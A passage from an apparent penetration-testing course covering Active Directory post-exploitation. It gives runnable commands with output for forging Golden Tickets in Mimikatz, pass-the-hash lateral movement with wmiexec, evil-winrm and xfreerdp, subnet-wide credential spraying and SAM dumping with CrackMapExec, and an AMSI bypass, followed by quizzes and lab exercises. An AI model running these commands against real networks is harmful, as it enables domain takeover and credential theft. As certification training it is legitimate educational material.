# Golden Ticket: forge a TGT using krbtgt hash → valid for any user, any time # Even if ALL user passwords are changed — golden ticket still works # Requires: krbtgt NTLM hash + Domain SID (both from DCSync) # Get domain SID: C:\> whoami /user CORP\Administrator S-1-5-21-3847380843-1259432054-2897748891-500 # Domain SID = S-1-5-21-3847380843-1259432054-2897748891 (without last -500) # Forge Golden Ticket in Mimikatz: mimikatz # kerberos::golden /user:FakeAdmin /domain:CORP.LOCAL /sid:S-1-5-21-3847380843-1259432054-2897748891 /krbtgt:9e4a2b1f6d3c8a7b4e5d2a1c3f8b6e9d /ptt Golden ticket for 'FakeAdmin @ CORP.LOCAL' successfully submitted for current session # /ptt = Pass-the-Ticket (inject into current session) # FakeAdmin doesn't need to be a real user! # This ticket is valid for 10 years by default # Now access anything in the domain: C:\> dir \\WIN-DC01\C$ # Browse DC filesystem C:\> psexec \\WIN-DC01 cmd.exe # Shell on DC Microsoft Windows [Version Server 2019] C:\Windows\system32> whoami corp\fakeadmin ← a user that doesn't exist having Domain Admin access # Defense: The ONLY fix is resetting krbtgt password TWICE # (tickets persist for their lifetime — usually 10 hours by default TGT, 10 years if Golden)

// DAY 33 — QUIZ

You have Domain Admin. You run DCSync and obtain the krbtgt hash. The security team detects your activity, changes every user's password including Administrator, and you lose your shell. You still have the krbtgt hash. Can you regain access, and how?

A No — changing all passwords means the krbtgt hash is now invalid too

B No — regain access by SSH-ing to the DC with the Administrator hash

C Yes — forge a Golden Ticket using the krbtgt hash. It bypasses all password changes because it forges the authentication ticket itself, not credentials

D Yes — use the krbtgt hash to Kerberoast all service accounts and crack their passwords

LATERAL MOVEMENT

TOOLLAB PSExec · WMI · RDP Abuse · BloodHound Paths · CrackMapExec

WEEK 5 PROGRESS — DAY 34 OF 35

↔️

Lateral movement is how attackers spread from a beachhead to high-value targets. Compromising a helpdesk workstation is the beginning. The end goal is the Domain Controller, the financial system, or the source code repository. Each hop uses harvested credentials, token impersonation, or forged tickets to authenticate to the next machine. The BloodHound path you mapped in Week 3 becomes your attack roadmap here.

// 34.1 — LATERAL MOVEMENT TECHNIQUES COMPARED

TECHNIQUE	PROTOCOL	REQUIRES	LEAVES LOGS	TOOL
PSExec	SMB (445)	Admin share access (C$)	Yes — service created in Event Log	impacket-psexec, CrackMapExec
WMI	DCOM (135+)	Local admin on target	Minimal — no service created	impacket-wmiexec, CrackMapExec
WinRM	HTTP/S (5985/5986)	Remote Management Users group	Minimal	evil-winrm
RDP	RDP (3389)	Remote Desktop Users group	Yes — logon events	xfreerdp, Restricted Admin Mode for PtH
Pass-the-Hash via SMB	SMB (445)	NTLM hash + local admin	Minimal	CrackMapExec, Impacket
Pass-the-Ticket	Kerberos (88)	Valid Kerberos ticket	Minimal — looks like normal Kerberos	Mimikatz, Rubeus

// 34.2 — LATERAL MOVEMENT TOOLS IN ACTION

LATERAL MOVEMENT — PRACTICAL COMMANDS

# Context: We have john.smith's NTLM hash from Mimikatz on WORKSTATION-01 # BloodHound shows john.smith is Local Admin on WORKSTATION-02 and SERVER-FS01 # ── WMIEXEC (stealthy — no service created) ────────────────── kali$ impacket-wmiexec -hashes :3d4f8e2b1a7c9f5d2e8b3a4c6f9d1e7b CORP/john.smith@10.10.10.20 C:\> whoami corp\john.smith # ── EVIL-WINRM (best interactive shell for Windows) ───────── kali$ evil-winrm -i 10.10.10.20 -u john.smith -H 3d4f8e2b1a7c9f5d2e8b3a4c6f9d1e7b Evil-WinRM shell v3.4 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\john.smith\Documents> # Upload tools, run scripts, use built-in bypass features *Evil-WinRM* upload /opt/winpeas.exe *Evil-WinRM* Bypass-4MSI # Bypass AMSI (antivirus script scanning) # ── RDP with Pass-the-Hash (Restricted Admin Mode) ────────── kali$ xfreerdp /v:10.10.10.20 /u:Administrator /pth:8846f7eaee8fb117ad06bdd830b7586c /cert-ignore # Restricted Admin Mode must be enabled on target: # reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f # ── CRACKMAPEXEC — spray credentials across subnet ────────── kali$ crackmapexec smb 10.10.10.0/24 -u john.smith -H 3d4f8e2b1a7c9f5d -d CORP.LOCAL --shares [+] 10.10.10.20 CORP\john.smith (Pwn3d!) [+] 10.10.10.50 CORP\john.smith (Pwn3d!) # Dump SAM from all pwned machines in one command: kali$ crackmapexec smb 10.10.10.0/24 -u john.smith -H 3d4f8e2b1a7c9f5d --sam CORP\Administrator:8846f7eaee8fb117ad06bdd830b7586c ← local admin hash from each

// 34.3 — FOLLOWING THE BLOODHOUND PATH

// LATERAL MOVEMENT FOLLOWING BLOODHOUND ATTACK PATH

[ OWNED: helpdesk-pc01 ] ─── john.smith logs in here ──► Mimikatz → john.smith hash │ │ BloodHound: john.smith → MemberOf → IT-HELPDESK │ IT-HELPDESK → LocalAdmin → workstation-02 ▼ [ TARGET: workstation-02 ] ─── evil-winrm -H john.smith.hash ──► Mimikatz → jane.doe hash │ │ BloodHound: jane.doe → MemberOf → Domain Admins ▼ [ TARGET: DC01.corp.local ] ─── psexec -H jane.doe.hash ───────► DOMAIN ADMIN SHELL │ │ DCSync ▼ ALL DOMAIN HASHES → GOLDEN TICKET → PERSISTENT DOMAIN CONTROL

// DAY 34 — QUIZ

You have local admin on a machine via Pass-the-Hash. BloodHound shows a Domain Admin user has an active session on this machine. How do you leverage this to get Domain Admin access without knowing their password or hash?

A Social engineer the Domain Admin into giving you their password

B Use Mimikatz or Meterpreter incognito to steal the Domain Admin\'s live authentication token from memory — they\'re logged in so their token exists on this machine

C Kerberoast the Domain Admin\'s account hash from this machine

D Monitor their activity and wait for them to reuse the password on another service

FULL ATTACK CHAIN + PHASE 3 WEEK 5 CAPSTONE

LAB End-to-End AD Compromise · MITRE ATT&CK Mapping · Week 5 Review

WEEK 5 — COMPLETE ✓

🏆

Week 5 complete. You've covered the full post-exploitation lifecycle — from landing as a low-privilege user to forging Golden Tickets that give permanent domain control. Today maps your techniques to MITRE ATT&CK and runs a complete simulated AD compromise.

// 35.1 — MITRE ATT&CK MAPPING — WEEK 5 TECHNIQUES

T1548.001

SUID / SGID Abuse

Abusing SUID-set binaries on Linux for privilege escalation. Covered Day 29.

T1053.005

Scheduled Task / Job

Creating scheduled tasks for persistence and privilege escalation. Covered Days 29-31.

T1134.001

Token Impersonation

Stealing and impersonating Windows access tokens (Potato attacks, Mimikatz incognito). Day 30, 34.

T1003.001

LSASS Memory Dumping

Dumping credentials from LSASS memory using Mimikatz sekurlsa::logonpasswords. Day 32.

T1558.003

Kerberoasting

Requesting TGS tickets for service accounts and cracking offline. Day 33.

T1550.002

Pass the Hash

Using NTLM hashes for authentication without cracking. CrackMapExec, Impacket. Day 32, 34.

T1003.006

DCSync

Mimicking DC replication to dump all domain hashes. Requires replication rights. Day 33.

T1558.001

Golden Ticket

Forging TGTs using krbtgt hash for persistent domain access. Day 33.

T1021.002

SMB/Windows Admin Shares

Lateral movement via SMB admin shares (C$, IPC$). PSExec, CrackMapExec. Day 34.

// 35.2 — WEEK 5 COMPLETE REVIEW

DAY	TOPIC	KEY TECHNIQUE	TOOL
29	Linux PrivEsc	SUID GTFOBins, sudo misconfig, cron hijack, kernel exploits	linpeas.sh, GTFOBins
30	Windows PrivEsc	Token impersonation (Potato), unquoted paths, AlwaysInstallElevated	winpeas, GodPotato, PrintSpoofer
31	Post-Exploitation I	Internal recon, persistence (registry/cron), pivoting via routes	Meterpreter, proxychains
32	Mimikatz	LSASS dump, Pass-the-Hash, Pass-the-Ticket	mimikatz, CrackMapExec, Impacket
33	AD Attacks	Kerberoasting, AS-REP Roasting, DCSync, Golden Ticket	GetUserSPNs, Impacket, Mimikatz
34	Lateral Movement	PSExec, WMI, WinRM, RDP-PtH, BloodHound path following	evil-winrm, wmiexec, CrackMapExec
35	Full Chain	End-to-end: foothold → privesc → credential dump → lateral → DA	Everything

// 35.3 — CAPSTONE LABS

LAB 1 — TRYHACKME: AD ATTACK CHAIN

"Attacktive Directory" — Full AD lab: AS-REP Roasting → Kerberoasting → SMB enumeration → domain compromise. TryHackMe's best AD room.
"Post-Exploitation Basics" — Meterpreter advanced usage, persistence, pivoting exercises.
"Linux PrivEsc" — 10 different escalation paths in one machine. Find and exploit all of them.
"Windows PrivEsc" — Token impersonation, unquoted paths, DLL hijacking in a guided but challenging lab.

LAB 2 — HACKTHEBOX: ACTIVE DIRECTORY MACHINES

"Active" (Retired, Easy) — Kerberoasting against an AD environment. Classic. Get user via SMB share → Kerberoast Administrator → Domain Admin.
"Forest" (Retired, Easy) — AS-REP Roasting + Exchange permissions abuse → DCSync → DA. Covers Days 33 and 34 perfectly.
"Sauna" (Retired, Easy) — AS-REP Roasting + Windows PrivEsc + DCSync. Excellent all-round AD machine.

LAB 3 — BUILD YOUR OWN AD LAB

Set up a Windows Server 2019 VM, promote to Domain Controller, create 10 user accounts with varying passwords.
Join a Windows 10 VM to the domain. Create service accounts with SPNs set (for Kerberoasting).
Deliberately misconfigure: one user with no Kerberos preauth, one SUID-equivalent service running as SYSTEM.
From a third VM (Kali), run the full attack chain: enumerate → AS-REP roast → Kerberoast → lateral movement → DCSync → Golden Ticket.
Document everything in a report format — this is your PNPT/OSCP preparation.

// WEEK 6 PREVIEW

WEEK 6 — RED TEAM TECHNIQUES

AV evasion: shellcode encoding, obfuscation, process injection
AMSI bypass — defeating PowerShell antivirus scanning
C2 frameworks: Sliver, Havoc — modern red team infrastructure
Custom payload development with msfvenom and C#
Wireless attacks: WPA2 cracking, evil twin, deauth
Full red team engagement report writing

CERTIFICATIONS THIS WEEK PREPARES YOU FOR

PNPT (TCM Security) — practical AD compromise is 70% of the exam
OSCP — privesc and lateral movement on every machine
CRTO (Red Team Ops) — C2 frameworks, AD attacks, evasion
CRTE (Red Team Expert) — advanced AD, forest attacks, trust abuse
CEH — covers all attack types at conceptual level

✅

Week 5 Readiness Check: Before Week 6, verify you can: (1) Run linpeas on a Linux machine and identify + exploit at least one SUID binary using GTFOBins. (2) Use GodPotato or PrintSpoofer to escalate from a service account to SYSTEM on Windows. (3) Extract credentials with Mimikatz sekurlsa::logonpasswords and use the NTLM hash for Pass-the-Hash with CrackMapExec. (4) Run Kerberoasting with impacket-GetUserSPNs and crack the resulting hash with Hashcat mode 13100. (5) Complete at least one HackTheBox Active Directory machine (Active, Forest, or Sauna) independently.

AFTER THE SHELL:OWN THE DOMAIN.